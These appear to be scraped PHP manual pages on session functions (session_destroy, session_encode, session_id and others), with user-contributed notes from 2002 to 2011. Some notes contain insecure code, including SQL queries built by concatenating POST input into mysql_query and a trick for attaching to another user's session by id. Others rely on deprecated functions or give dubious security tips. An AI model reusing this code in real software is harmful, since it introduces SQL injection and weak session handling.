WDDX seems to be a little slower, and the text string it creates is much bigger than that created by the normal php serializer, but it provides the functionality with minimal hassle.

Donal
forum at orthanc dot co dot nz 02-Apr-2004 12:26
Becarful using this if you are trying to switch out of an existing session rather than load one into a clean slate.

session_decode doesn't destroy the existing session data, it will over write it if there is a session variable of the same name, but if the names don't clash the existing session variables will hang around.

I have yet to find a better solution than

session_destroy()
session_start()
session_decode(....);

-----------------------------------------
To explain what I'm talking about

<?
    session_start();
    $a = 5;
    session_register('a');
    session_decode("<session that doesn't have a as a session variable>");
    print (session_is_registered('a') ? $a : 'Not Registered' );
?>

The above code will print '5' as $a hasn't been destroyed or even unregistered by the session_decode
njail 12-Dec-2003 12:28
<?PHP
// Get Session Content
$varsess = Array('SESSION');
for ($i = 0; $i < sizeof($varsess); $i++)
{
  if (is_array(${"_{$varsess[$i]}"}))
  {
    foreach (${"_{$varsess[$i]}"} as $var=>$val)
    {
    $$var = $val;
    // print "Var :".$var." -- Value :".$val."\n<br>";
    }
  }
  unset(${"_{$varsess[$i]}"});
}
?>
petej*shaman_ca 21-Aug-2003 01:44
Seems like there was a change in the behavior of this function somewhere between 4.1.2 and 4.3.3.  In 4.1.2 session_decode() didn't care whether the session was started, and would just decode the string into the _SESSION array.  In my 4.3.3 install, session_decode() wouldn't work unless I explicitly started the session with session_start().
session_commit
session_destroy
Session Functions


Destroys all data registered to a session

session_decode
session_encode
Session Functions
PHP Manual

session_destroy

(PHP 4, PHP 5)

session_destroy — Destroys all data registered to a session

Description

bool session_destroy ( void )

session_destroy() destroys all of the data associated with the current session. It does not unset any of the global variables associated with the session, or unset the session cookie. To use the session variables again, session_start() has to be called.

In order to kill the session altogether, like to log the user out, the session id must also be unset. If a cookie is used to propagate the session id (default behavior), then the session cookie must be deleted. setcookie() may be used for that.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Destroying a session with $_SESSION

<?php
// Initialize the session.
// If you are using session_name("something"), don't forget it now!
session_start();

// Unset all of the session variables.
$_SESSION = array();

// If it's desired to kill the session, also delete the session cookie.
// Note: This will destroy the session, and not just the session data!
if (ini_get("session.use_cookies")) {
    $params = session_get_cookie_params();
    setcookie(session_name(), '', time() - 42000,
        $params["path"], $params["domain"],
        $params["secure"], $params["httponly"]
    );
}

// Finally, destroy the session.
session_destroy();
?>

Notes

Note:

Only use session_unset() for older deprecated code that does not use $_SESSION.

See Also

  • unset() - Unset a given variable
  • setcookie() - Send a cookie

User Contributed Notes

john at host89 dot net 22-Jan-2010 12:11
Hello all,

While working on a fully customized session management system I decided to add the ability to force a user from their session while within another administrative session. (Basically, as an admin I would see currently active sessions and then have the choice to end them immediately.) I had already written a decently secure session tracking and theft-prevention system (An independent session key is created and then changed every 5 pages/requests. Even AJAX calls use the key.) I have posted that code on another page here at PHP.net.

The solution I arrived at was to record session IDs as users log in (If a session ID changes the user is forced to login again - session key changes frequently instead) and then tie the entries to their user id, from which I could get their username, name, e-mail, etc. A final part is recording the time that their session ID is recorded so that a garbage collector could go through and delete old entries in the database. (IDs are recorded in a MySQL database.)

The code on the login page looks something like this, and is run well after the session has started and their credentials have been verified:

<?php
    # Quick! Record their session information so they can be off kicked by demand later. :-D
    $session_id=session_id();
    $savsessionquery="INSERT INTO admin_users_sessions (user_id, session_id) VALUES ('".$userid."', '".$session_id."') ON DUPLICATE KEY UPDATE session_id='".$session_id."'";
    $savesessionresult=mysql_query($savsessionquery, $sql);
    # And we won't care if it don't work. :-)
?>

That last comment is because if the insert fails, then that user is safe from kicking during their active session. (However, if they click "Home" it re-runs through the login.php file which will pick up on a bad password/disallowed login and kick them out via logout.php which unsets the cookie and variables and destroys the session.)

The table has 4 columns: id, user_id, session_id, and timestamp. id is an AUTO_INCREMENT (so it's not specifically inserted) and TIMESTAMP is an AUTO-UPDATE (and so it also is not specifically inserted).

The code that actually kicks them out while maintaining the administrative session is as follows ($_POST['kickid'] is passed from the page where the user can pick the session to kill):

<?php
    session_cache_limiter('nocache');
    require('authheader.php');

    $permissiontocheck="permission5";
    require('permissioncheck.php');

    $kickid=$_POST['kickid'];

    # Alright. Save the current session stuff so we can resume it at the end.
    $realsessionid=session_id();

    # Look up the session ID we're kicking
    $query="SELECT session_id FROM admin_users_sessions WHERE id='".$kickid."'";
    $result=mysql_query($query, $sql);
    if (!$result || mysql_num_rows($result)!=1)
    {
        # No result or too many matches
        $_SESSION['returnstatus']=2;
        $_SESSION['returnmessage']="Invalid session selection. Please try again.";
        header ('Location: forcelogout.php');
        exit;
    }
    $array=mysql_fetch_row($result);
    $kicksessionid=$array[0];

    # Ok. End the current session and start one up with the ID being kicked.
    session_commit();
    session_id($kicksessionid);
    session_start();

    # Now we're in. Destroy some stuff and then get out.
    $_SESSION = array();
    $_SESSION['loggedin']=false;
    session_destroy();
    session_commit();

    # Sweet. Now we re-load our current session and head back celebrating.
    session_id($realsessionid);
    session_start();
    $_SESSION['returnstatus']=1;
    $_SESSION['returnmessage']="Session successfully destroyed";
    header ('Location: forcelogout.php');
    exit;
?>

authheader.php and permissioncheck.php are both portions of the session management system that this page runs under. permission5 is the required permission to kick a user from their session.

There you go! Dig in and I hope somebody can use this little tid-bit of code.
yesmarklapointe at hotmail dot com 15-Sep-2008 10:16
I ran an experiment. Firefox3 and IE7 both behave the same on my machine. The following statements clear out the variables immediately:

session_unset()
$_SESSION = array()
unset($_SESSION['whatever'])

But if you are intent upon using session_destroy(), know that it only empties out the variables when the page is reloaded or redirected to some other page. As long as it's the same page, the variables are still usable after invoking session_destroy().
elbowni 27-Aug-2008 02:23
If you want to remove all variables from session and change SID first use

session_regenerate_id();
session_destroy();

if you do destroy first then regenerate_id your SID will not change
iam4webwork at hotmail dot com 17-Jul-2008 01:19
<?php
session_name("PeekABook");
/**
   *
   *  Assuming that we resume a session already underway
   *  with a specified session name, over-riding
   *  the default provided in php.ini: session.name
   *
**/

session_start();

/**
   * If you only wish to nullify all of the session variables.
   *
**/
$_SESSION = array();

/**
   * read and save session name to later void session
   * cookie
   *
**/
$session_name = session_name();

/**
  * destroy session data.
  * no need to use session_unset() in PHP5
**/
session_destroy();

/**
   * If you wish to kill the session, then you must
   * delete the  session cookie.
   * An http request is needed to effectively
   * set the cookie to permanent inactive status;
   * only the browser can remove the cookie.
   *
**/

if ( isset( $_COOKIE[ $session_name ] ) ) {
    if ( setcookie(session_name(), '', time()-3600, '/') ) {
        header("Location: http://localhost/some_other_page.php");
        exit();
    }
    else
    {
        // setcookie() fails when there is output sent prior to calling this function.
    }
}

?>
james at dunmore dot me dot uk 23-Jun-2008 08:25
If you are using a custom save handler (i.e. calling session_set_save_handler ) - like you would for DB based session handling. If you call session_destroy, followed by session_start, you will get an error.

You need to re-call session_set_save_handler with the lines you previously did (e.g.
session_set_save_handler('mysql_session_write_func') )
ale at alejandrolapeyre dot com dot ar 14-Jun-2008 04:16
Example #1 fails to delete the session cookie if the session COOKIE is not set but a session is started (as the example does)

To delete the session cookie ALWAYS, change the line:

if (isset($_COOKIE[session_name()])) {

to:

if (session_id != "" || isset($_COOKIE[session_name()]))
administrator at anorhack dot com 01-Aug-2007 07:34
Destroying  a session from a background job

I have a thief-protection system that compares country codes from login IPs via whois. This has to run in the background as it is way too processor-hungry to be run in the browser.

What I needed was a way to destroy the web session from the background job. For some reason, a background session_destroy APPEARS to work, but doesnt't actually destroy the web session.

There is a work around, I set the username to NULL and the web code picks up on that, bouncing the user (thief) to a "gotcha" page where his IP is logged.

Yes I know its nasty and dirty, but surprisingly it works.

$sid = the session_id() of the suspicious web session, passed in $argv to the background job

The trick is to "stuff" the $_GET array with the sid, then the session_start in the background job picks this value up (as if it were a genuine trans-sid type thing...?PHPSESSID=blah) and "connects to" the web session. All $_SESSION variable can be viewed (and CHANGED , which is how this kludge works) but for some reason (that no doubt someone will illuminate) they can't be unset...setting the particular variable to NULL works well though:

$_GET[session_name()]=$sid;
session_start();
// prove we are getting the web session data
foreach($_SESSION as $k => $v) echo($k."=".$v);
// now kill the thief
$_SESSION['username']=NULL;
//web session variable now NULL - honestly!
wade at defianceinteractive dot com 12-Feb-2007 11:59
You should also be careful when you destroy a session. I believe a previous user posted something similar to this but didn't emphasize this point.

If you are creating a new session, but want to make sure that  there are currently no sessions active by doing session_destroy(); make sure you start the session again using session_start(); or else your session data will not register properly.
Colin 07-Feb-2007 01:52
Note that when you are using a custom session handler, session_destroy will cause a fatal error if you have set the session destroy function used by session_set_save_handler to private.

Example:
Fatal error: Call to private method Session::sessDestroy()

where sessDestroy was the function I specified in the 5th parameter of session_set_save_handler.

Even though it isn't all that desirable, the simple solution is to set sessDestroy to public.
r dot swets at guidance dot nl 21-Dec-2006 12:59
Bothering with the timestamp can always give troubles. A lot better is forcing the sessionid to be regenrerated. A trick to destroy the session completly is actually restarting the session, like someone closed and reopened his browser. This will fix the whole authority problem and browser cookie deletion problem quite more easy, and it gives cleaner code without having to clean the $_SESSION array.

I would suggest the following function session_restart();

<?php

session_start();

// Some simple code etc etc
$requested_logout = true;

if ($requested_logout) {
    session_restart();
}

// Now the session_id will be different every browser refresh
print(session_id());

function session_restart()
{
    if (session_name()=='') {
        // Session not started yet
        session_start();
    }
    else {
        // Session was started, so destroy
        session_destroy();

        // But we do want a session started for the next request
        session_start();
        session_regenerate_id();

        // PHP < 4.3.3, since it does not put
        setcookie(session_name(), session_id());
    }
}

?>

NOTE: session_restart() acts like session_start(), so no output must be written before its called.
rob a.t. mobius d.o.t. ph 02-Dec-2006 02:02
I was experiencing problems with "sess_deleted" files and tracked it down to:

    setcookie(session_name(), '', time()-42000, '/');

When "setcookie" is passed an empty value (ie, ''), it changes the value to the string "deleted" and sets the date to exactly one year and one second in the past, ignoring the expiration parameter.*

So, I'm guessing that if a client machine has its time set to more than a year in the past or if the browser is somehow broken, then a site visitor could potentially send a PHPSESSID with a value of "deleted".  This will cause PHP to create a "sess_deleted" file in the sessions directory.

In my case, I was seeing several incidents per minute, with each user clobbering the other's session data causing all kinds of security and identity issues.  Two changes seemed to have solved the problem:

1) Use session_id() in place of '' in setcookie, as well as pick a date that's far in the past (in this case Jan 1, 1970, 8:00:01AM):

    setcookie(session_name(), session_id(), 1, '/');

2) Use session_regenerate_id() when logging a user in or otherwise changing their authority level.

Hope this helps somebody.

Rob

* Here is the relevant code in head.c:

    if (value && value_len == 0) {
        /*
         * MSIE doesn't delete a cookie when you set it to a null value
         * so in order to force cookies to be deleted, even on MSIE, we
         * pick an expiry date 1 year and 1 second in the past
         */
        time_t t = time(NULL) - 31536001;
        dt = php_format_date("D, d-M-Y H:i:s T", sizeof("D, d-M-Y H:i:s T")-1, t, 0 TSRMLS_CC);
        sprintf(cookie, "Set-Cookie: %s=deleted; expires=%s", name, dt);
markus at fischer dot name 16-Mar-2005 01:09
Note that there's a bug with custom session handlers and when you want to start a session again after you have called session_destroy.

session_destroy disables the custom session_handler and this a call to session_start after it will fail with "Failed to initialize storage module".

See http://bugs.php.net/32330 for more information and a workaround.
Johan 19-Nov-2004 06:00
Remember that session_destroy() does not unset $_SESSION at the moment it is executed.  $_SESSION is unset when the current script has stopped running.
thomas at uninet dot se 07-Oct-2004 08:25
I did encounter a minor problem when I tried to remove the physical file that stores the session. The problem was that my working directory wasn't on the same drive as my PHP installation (yes, I used Windows).

So I used the PHP_BINDIR to start at the same place as PHP does and then change directory to the place that was specified in PHP.INI. This makes it transparent to relative paths in session.save_path.

<?php
function DeleteSessionID($sessionid) {
  $orgpath = getcwd();
  chdir(PHP_BINDIR);
  chdir(session_save_path());
  $path = realpath(getcwd()).'/';
  if(file_exists($path.'sess_'.$sessionid)) {
    // Delete it here
    unlink($path.'sess_'.$sessionid);
  } else {
    // File not found
  }
  chdir($orgpath);
}

?>

The final chdir($orgpath) is just to restore the working directory as it were before .
powerlord at spamless dot vgmusic dot com 18-Nov-2002 11:41
This code might be a bit better for expiring session cookies, in case your domain, path, and/or secure session cookie settings are changed.

    $CookieInfo = session_get_cookie_params();
    if ( (empty($CookieInfo['domain'])) && (empty($CookieInfo['secure'])) ) {
        setcookie(session_name(), '', time()-3600, $CookieInfo['path']);
    } elseif (empty($CookieInfo['secure'])) {
        setcookie(session_name(), '', time()-3600, $CookieInfo['path'], $CookieInfo['domain']);
    } else {
        setcookie(session_name(), '', time()-3600, $CookieInfo['path'], $CookieInfo['domain'], $CookieInfo['secure']);
    }
    unset($_COOKIE[session_name()]);
    session_destroy();
session_decode
session_encode
Session Functions


Encodes the current session data as a string

session_destroy
session_get_cookie_params
Session Functions
PHP Manual

session_encode

(PHP 4, PHP 5)

session_encode — Encodes the current session data as a string

Description

string session_encode ( void )

session_encode() returns a string with the contents of the current session encoded within.

Return Values

Returns the contents of the current session encoded.

See Also

  • session_decode() - Decodes session data from a string

User Contributed Notes

php dot net at mog dot se 08-Apr-2008 03:01
session_encode() returns a different format than serialize.

If you want to decode this format in python then "PHP Serialize implemented in Python" has special handling of this format using the session_encode and session_decode methods.

http://www.hurring.com/scott/code/python/serialize/
php at mikeboers dot com 14-Jul-2007 11:31
If anybody wants to encode any arbitrary array in the session serialization style, I have come up with the following function ( along with a corresponding decoding function in the session_decode notes ) to do just that.

Note the step I take to make sure we are not using a reference of the array, because calling session_raw_encode( $_SESSION ) ; will modify the real session when doing the recursion checks.

<?php

function session_raw_encode( $array, $safe = true ) {

    // the session is passed as refernece, even if you dont want it to
    if( $safe )
        $array = unserialize(serialize( $array )) ;

    $raw = '' ;
    $line = 0 ;
    $keys = array_keys( $array ) ;
    foreach( $keys as $key ) {
        $value = $array[ $key ] ;
        $line ++ ;

        $raw .= $key .'|' ;

        if( is_array( $value ) && isset( $value['huge_recursion_blocker_we_hope'] )) {
            $raw .= 'R:'. $value['huge_recursion_blocker_we_hope'] . ';' ;
        } else {
            $raw .= serialize( $value ) ;
        }
        $array[$key] = Array( 'huge_recursion_blocker_we_hope' => $line ) ;
    }

    return $raw ;

}

?>
Onur Yerlikaya < http://www.witkey.org > 18-Jul-2006 08:21
<?php
session_start();
# boolean type
$_SESSION['logged']     = true;
# string type
$_SESSION['name']    = "Onur Yerlikaya";
# integer type
$_SESSION['age']     = 17;

// logged|b:1;name|s:14:"Onur Yerlikaya";age|i:17;

function readSessions() {
    $encodedData    = session_encode();
    $explodeIt    = explode(";",$encodedData);
    for($i=0;$i<count($explodeIt)-1;$i++) {
        $sessGet    = explode("|",$explodeIt[$i]);
        $sessName[$i]    = $sessGet[0];
        if(substr($sessGet[1],0,2) == "s:") {
            $sessData[$i]    = str_replace("\"","",strstr($sessGet[1],"\""));
        } else {
            $sessData[$i]    = substr($sessGet[1],2);
        } // end if
    } // end for
    $result        = array_combine($sessName,$sessData);
    return $result;
}

/*
readSessions Func shows encoded data in array
Array
(
    [logged] => 1
    [name] => Onur Yerlikaya
    [age] => 17
)
*/
print_r(readSessions());
?>
<carlos sica>sica at wnet dot com dot br 05-May-2005 09:19
session_encode() just return the session dataset in a formatted form

session_start();

$_SESSION['login_ok'] = true;
$_SESSION['nome'] = 'sica';
$_SESSION['inteiro'] = 34;

echo session_encode();

this code will print

login_ok|b:1;nome|s:4:"sica";inteiro|i:34;
session_destroy
session_get_cookie_params
Session Functions


Get the session cookie parameters

session_encode
session_id
Session Functions
PHP Manual

session_get_cookie_params

(PHP 4, PHP 5)

session_get_cookie_params — Get the session cookie parameters

Description

array session_get_cookie_params ( void )

Gets the session cookie parameters.

Return Values

Returns an array with the current session cookie information, the array contains the following items:

  • "lifetime" - The lifetime of the cookie in seconds.
  • "path" - The path where information is stored.
  • "domain" - The domain of the cookie.
  • "secure" - The cookie should only be sent over secure connections.
  • "httponly" - The cookie can only be accessed through the HTTP protocol.

Changelog

Version | Description
5.2.0 | The "httponly" entry was added in the returned array.
4.0.4 | The "secure" entry was added in the returned array.

See Also

  • session.cookie_lifetime
  • session.cookie_path
  • session.cookie_domain
  • session.cookie_secure
  • session.cookie_httponly
  • session_set_cookie_params() - Set the session cookie parameters

User Contributed Notes

Anonymous 13-Jan-2008 02:38
Try also
* INI_Get('session.cookie_lifetime')
* INI_Get('session.cookie_path')
* INI_Get('session.cookie_domain')
* INI_Get('session.cookie_secure')
* INI_Get('session.cookie_httponly')
separately instead of session_Get_Cookie_Params().

Additionally there is a "bug" - session.cookie_lifetime is mentioned twice in the description.
powerlord at spamless dot vgmusic dot com 18-Nov-2002 11:35
This function is quite handy when it comes to expiring session cookies... since Session cookies don't automatically get destroyed (see the session_destroy page).

For instance, here's what I plan to use to expire session cookies:

    $CookieInfo = session_get_cookie_params();
    if ( (empty($CookieInfo['domain'])) && (empty($CookieInfo['secure'])) ) {
        setcookie(session_name(), '', time()-3600, $CookieInfo['path']);
    } elseif (empty($CookieInfo['secure'])) {
        setcookie(session_name(), '', time()-3600, $CookieInfo['path'], $CookieInfo['domain']);
    } else {
        setcookie(session_name(), '', time()-3600, $CookieInfo['path'], $CookieInfo['domain'], $CookieInfo['secure']);
    }
    session_destroy();

It doesn't check to see if the path part of the session cookie is set because the defaults in php.ini have this set already, unlike domain and secure.
session_encode
session_id
Session Functions


Get and/or set the current session id

session_get_cookie_params
session_is_registered
Session Functions
PHP Manual

session_id

(PHP 4, PHP 5)

session_id — Get and/or set the current session id

Description

string session_id ([ string $id ] )

session_id() is used to get or set the session id for the current session.

The constant SID can also be used to retrieve the current name and session id as a string suitable for adding to URLs. See also Session handling.

Parameters

id

If id is specified, it will replace the current session id. session_id() needs to be called before session_start() for that purpose. Depending on the session handler, not all characters are allowed within the session id. For example, the file session handler only allows characters in the range a-z A-Z 0-9 , (comma) and - (minus)!

Note: When using session cookies, specifying an id for session_id() will always send a new cookie when session_start() is called, regardless if the current session id is identical to the one being set.

Return Values

session_id() returns the session id for the current session or the empty string ("") if there is no current session (no current session id exists).

Changelog

Version | Description
5.0.0 | The , (comma) and - (minus) characters are allowed in the file session handler.

See Also

  • session_regenerate_id() - Update the current session id with a newly generated one
  • session_start() - Initialize session data
  • session_set_save_handler() - Sets user-level session storage functions
  • session.save_handler

User Contributed Notes

Dario Gomes 07-Jun-2011 07:06
Gosh, took a LOOONG time to figure this one out! If you have suhosin built into your PHP and can't get sessions to work after changing the session id through session_id(), try turning off suhosin's session encryption option in php.ini with:

suhosin.session.encrypt=Off
Francois 15-Mar-2011 10:45
In php version 5.3.2 in my case each time a new session-id was generated after session_start() but all was working before correctly in previous versions. So I lost data from my current session (wrong session-id). There was always a $_POST or $_GET or $_COOKIE available with the session-name and session-id, so session_start() was taken this automatically. Now I have to execute session_id(..old id ..) before session_start() and a session is started for the same id.
dmeweb at dibsplace dot com 06-Mar-2011 09:19
If you look at the notes on cookies (set_cookie I think), you will see that you can not read a cookie on the page that it is set.  That is because the cookies are sent with the page request which comes, of course, before your PHP is run.  You have to wait until the next page request from the same source to read the cookie.
ab at ixo point ca 07-Jan-2011 11:17
I was perplexed by inconsistent results with the session ID depending on whether I retrieve it using SID, COOKIE, or session_id().  I have found that session_id() is the most reliable method, whereas SID and COOKIE["PHPSESSIONID"] are sometimes undefined.

I used this simple script to quickly test the problem on my servers:

<?php
$a = session_id();
if(empty($a)) session_start();
echo "SID: ".SID."<br>session_id(): ".session_id()."<br>COOKIE: ".$_COOKIE["PHPSESSID"];
?>

Regardless of browser I see the COOKIE undefined on the first load and the other two defined, then SID is empty on subsequent reloads and COOKIE is defined, but session_id() is always defined.

If I insert the session_regenerate_id() method that jeff_zamrzla gives below the refresh the page, I get a new session_id() but the COOKIE value is initially the prior session_id() until I hit refresh a second time.  So again, session_id() proves to be the most reliable method.

It's probably not a bug since I found the behaviour to be consistent in PHP versions 5.2.14, 5.3.3 and 5.3.4, but I can't figure what I'm missing and hopefully this will help others who run into this.
Drugelis, Lietuva 11-Sep-2010 07:46
I had a lot of trouble with session_regenerate_id() as it did not regenerate... Session_id() stayed the same no matter what (unless closing the window). I wanted to have different sid and empty vars for each session/page meeting a condition for security reasons.  Finally, this worked:

<?php
$a = session_id();
if ($a == '') session_start();
if ( ...add check if you want to regenerate and destroy vars on some condition only [recommended :)]...  )
 { session_unset(); //destroys variables
   session_destroy() //destroys session;
 }

$a = session_id();
if ($a == '') session_start();
if (!isset($_SESSION['safety']))
{
    session_regenerate_id(true);
    $_SESSION['safety'] = true;
}
$_SESSION['sessionid'] = session_id();
?>

Now you get different sid and session variables empty for each session_start if condition is met (i.e. user hits refresh on user/password form, which I needed badly :). Hope this helps someone out there.
Env: localhost
Note: condition is mandatory, otherwise it destroys on each load.
strick 30-Sep-2008 12:01
I was having trouble with the whole session staying intact when opening a new window with window.open().

I tried just about everything and nothing work.  So I did a simple test case and found the corlput.

<?php

$mytimeout = 720 * 60; // minutes * 60
session_set_cookie_params($mytimeout);

$sessdir = "my\path\to\sessions";
ini_set('session.save_path', $sessdir);

session_cache_expire($mytimeout / 60);
set('session.gc_maxlifetime', $mytimeout);

?>

You have to repeat this same bit of coding inside of your popup.php, duh!!
Axel 13-May-2008 01:44
The documentation for session_id is incomplete when it says:
"For example, the file session handler only allows characters in the range a-z, A-Z and 0-9!".

It is untrue when changing the default for the session.hash_bits_per_character as Colin said. session_id may therefore contain "-" and ",".

http://fr.php.net/manual/en/session.configuration.php
dnaicker at gmail dot com 22-Oct-2007 01:33
I was using session_id but i needed to send more than one variable across to another php page. I was trying to create a link to an xml file and i needed to send the name of the file to another php document to open the file using DOM or SimpleXML.

I sent the variable across in the hyperlink and gathered the variable using the $_POST['$VarName'] command.

This is the code i used:
Page1:

echo"\t\t<td><a href=\"showArticle.php?file=".$title."\" name=\"$title\">View Article</a></td>\n";

Page2:
$file = $_GET["file"];
Nicu 06-Jul-2007 03:22
Saving sessions to file and generating the ID's with Sha1 and 6 bit/character on Windows machines gives a higher chance of session collision (the filesystem is not case sensitive)
25-Mar-2007 11:06
Regarding Colin's comment, note that setting hash_bits_per_character to 5 results in characters ranging from 0-9 and a-v. Most attackers would be wise enough to realize what was going on when they saw a letter in g-v.  The probability of not seeing a letter in g-v is somewhere around 2^-32.
Colin 08-Mar-2007 10:46
The higher you set session.hash_bits_per_character the shorter your session_id will become by using more bits per character. The possible values are 4, 5, or 6.

When using sha-1 for hashing (by setting ini_set('session.hash_function', 1) the following session string lengths are produced by the three session.hash_bits_per_character settings:

4 - 40 character string
5 - 32 character string
6 - 27 character string

It would seem desirable to use sha-l with 5 bits_per_character because this will emulate a standard 32 character md5 string and make a would-be attacker think that is what you're hashing with.
masternico at yahoo dot fr 14-Jan-2007 07:03
in addition to what said "jpjounier at hotmail dot com" it's EXTREMELY important to test if "session_id()" gives a result or not.

If you do not, you take the risk to have a new session starting over with the loss of your session variables.

php.ini can be different on each webserver you'll host your script on.

If you only rely on the behavior of your script on one server, you might have trouble on others.

One VERY important session's option of php.ini is 'session.auto_start' . If setted at 'true', session will then start automaticaly for each page that user will open without the need of using session_start().

The point is that if you have a script like this one:
/*****************
verif_logging.php:
*****************/
<?php
    include('includes/class_user');
    $login = $_POST['login'];
    $pass = $_POST['pass'];
    if($user->connection($login,$pass){ // user logging validation
        session_start();     //start the session
        $_SESSION['user_logged'] = true;  // user logged in
        header('location : control_panel.php');  // go to control panel
    }
    else {  // go back to logging page
        header('location : logging.php?' . $user->error_string);
    }
?>

/****************
control_panel.php:
****************/
<?php
    session_start();
    echo $_SESSION['user_logged'];
?>

All will be ok as long as 'session.auto_start ' is at 'false'. Otherwise, you'll have a brand new session created with empty $_SESSION and new SID.

This has been brain breaker for me until I realise that my webserver has 'session.auto_start' at 'true' and that I couldn't change it (some webhost doesn't let user change php.ini options).

So I changed the code this way:
/***************
control_panel.php:
***************/
<?php
    if (session_id() == "") session_start(); // if no active session we start a new one
    echo $_SESSION['user_logged'];
?>

And then everything is ok regardless if 'session.auto_start' is set to 'false' or 'true'.

Furthermore, as said 'risaac at deadletter dot com' (04-Apr-2006 08:46) in a comment on 'session_write_close()', it might be a clever thing to check if the newly activated session has $_SESSION empty or setted with the value you passed by as expected. If empty, then you might have launched a brand new session and surely lost every fromer data unless you know what was the SID (passed by $_GET for example, not recommended but possible).
22-Aug-2006 01:15
In response to simon at quo dot com dot au:

The PHPSESSID is produced using an hash function. By default, it uses MD5 which produces 128 bits long (i.e: 16 bytes long) hashes.
But, since some bytes' values may not be used in the HTTP header, PHP outputs the hash in its hexadecimal representation, thus resulting in a 32 bytes long text.

Starting with  PHP 5.0, you can change the hash function used (by setting "session.hash_function" to whatever function you want to use in php.ini).
You may for example set it to 1 to switch to SHA-1 which produces 160 bits (20 bytes) long hashes.

Please also note that another setting was introduced in PHP 5 (session.hash_bits_per_character) which sort of "compresses" the hash. Thus, resulting in what seems to be a shorter hash.
This feature helps you improve your application's security by producing IDs that are harder to prodict for a malicious attacker.

More information on those settings is provided on:
http://www.php.net/manual/en/ref.session.php
simon at quo dot com dot au 06-Mar-2006 10:15
Length of PHPSESSID appears to be 32 characters by default.
jwhatcher at hotmail dot com 07-Jul-2005 12:21
Killing the session_id when using cookies to store the session_id. Useful when needing to recreate a user with different session information during an open session.

    unset($_COOKIE[session_name()]);
    session_start();
jpjounier at hotmail dot com 23-Jun-2005 04:28
About the note from Cybertinus :

The following test doesn't work, the code following is always executed :

<?php
if(!session_id())
{
// Always executed even if there's already an opened session
}

session_id() returns an empty string if there is no current session, so to test if a session already exists, it's better to write this :
if(session_id() == "")
{
session_start();
}
else
{
// Anything you want
}
?>
cbarnes at bfinity dot net 09-May-2005 06:44
Note that Firefox and Mozilla use the same process for launching new windows or tabs, they will pick up the same session id as the previous windows until the parent process dies or is closed. This may cause undesired results if the session id is stored in a db and checked, a solution is to check at the new entry point (new tab or window if the user went back to the index page) for an existing session. If a session id exists and a new one is required use something like:

<?php
$ses_id = session_id();
$bsid_exists = false;
$bsid_exists = check_session_id_from_db($ses_id);
 if ($bsid_exists){
 //This is a reentry and the session already exists
 // create a new session ID and start a new
session_regenerate_id();
$ses_id = session_id();
 }
?>
jeff_zamrzla 10-Feb-2005 03:03
Try this code snippet, from a book by a security expert who says this is more secure to place on every page:

<?php
session_start();
$_SESSION['name'] = "YourSession";

if (!isset($_SESSION['initiated']))
{
    session_regenerate_id();
    $_SESSION['initiated'] = true;
}
?>
karlhaines at comcast dot net 30-Oct-2003 05:05
Rewriting URL's is not suggested for obvious security issues. Please be careful with register_globals when using sessions! Check that all information you recieve from a user is valid before accepting it!
Andi, info at pragmaMx dot org 16-Jan-2003 01:13
you can also add the iframe tag:
ini_set("url_rewriter.tags", "a=href,area=href,frame=src,iframe=src,input=src,form=fakeentry");
session_get_cookie_params
session_is_registered
Session Functions


Find out whether a global variable is registered in a session

session_id
session_module_name
Session Functions
PHP Manual

session_is_registered

(PHP 4, PHP 5)

session_is_registered — Find out whether a global variable is registered in a session

Description

bool session_is_registered ( string $name )

Finds out whether a global variable is registered in a session.

Warning

This function has been DEPRECATED as of PHP 5.3.0. Relying on this feature is highly discouraged.

Parameters

name

The variable name.

Return Values

session_is_registered() returns TRUE if there is a global variable with the name name registered in the current session, FALSE otherwise.

Notes

Note:

If $_SESSION (or $HTTP_SESSION_VARS for PHP 4.0.6 or less) is used, use isset() to check a variable is registered in $_SESSION.

Caution

If you are using $_SESSION
(or $HTTP_SESSION_VARS), do not use
session_register(),
session_is_registered() and
session_unregister().

User Contributed Notes

amol_bhavsar1982 at hotmail dot com 22-Mar-2009 11:47
session_register() function is generating warnings. Therefore, instead of using:

<?php
$test = 'Here';
session_register('test');
?>

It is better :

<?php
$_SESSION['test'] = 'Here';
?>
somedude at wholikesphp dot com 31-Oct-2002 10:02
Just to elaborate for those who may be having some problems.
If you're using a newer version of PHP that comes with the register globals directive set to "off", you should heed the caution at the top of these notes. It's easier anyway.

Instead of using session_register(...) , simply use somethig like:

<?
//must always start the session first
session_start();

//in place of session register(..) use...like someone said above
$_SESSION['VARNAME'] = $something // or "something";

/* then on the same page or subsequent pages where you want check for the session use something like....

and on another page where the session hasn't been started you have to call session_start(); first, if the session has already been started you don't need to call it again */

session_start();

//instead of session_is_registered();
if(isset($_SESSION['VARNAME']))
{
    print("What you want if the session var is set");
}
else
{
    print("What you want if the sessions variable is not set");
}

?>

I hope this helps someone! If you want to learn more about $_SESSION and/or it's related "superglobals" try

http://www.php.net/manual/en/printwn/language.variables.predefined.php

good road!
miguel dot simoes at swirve dot com 13-Jun-2002 04:27
When using PHP 4.2.0 even on the same page where you registered the variable with:

session_register("someVar");

if you try to see if the variable is set and do not assign it a value before, the function used in the previous comment will give the same output.
 This may show that the variable is declared and will not be set until some value is give assign to it.
 I think that this way will give the option to register all the variables used for sure on the process on the first page and using them as the time comes.
session_id
session_module_name
Session Functions


Get and/or set the current session module

session_is_registered
session_name
Session Functions
PHP Manual

session_module_name

(PHP 4, PHP 5)

session_module_name — Get and/or set the current session module

Description

string session_module_name ([ string $module ] )

session_module_name() gets the name of the current session module.

Parameters

module

If module is specified, that module will be used instead.

Return Values

Returns the name of the current session module.

User Contributed Notes

mc at slidetheweb dot com 22-Apr-2007 08:56
During a long search for a remedy against the dreaded session start failure errors i may have found one;

The error :  session_start(): Failed to initialize storage module

A socalled 'Strong workaround' is :

--------------------
Edit your php.ini this way:
auto_prepend_file = /usr/local/lib/php.ini.prepend

On your /usr/local/lib/php.ini.prepend file put this:
<? session_module_name("files"); ?>
--------------------

For me this had immediate results.

I am running apache2 with PHP4.3.9 and had years of problems with this error. It popped up without any logic, we tested this in various ways. The only doubtfull case wich we had was with simultaneous visitors but even that was doubtfull and could not be repeated continuously.

Today when trying this new solution the immediate result was... no more errors.  Errors wich could be triggered easily can't be found no longer. I have a failure monitor running and will update this note if i find another error but i have good hopes that this patch will hold php from buggering out on us.

Last but definitly not least.. thanks to  Agustín Povarchik from FuturaHost.Com for advising this solution!
session_is_registered
session_name
Session Functions


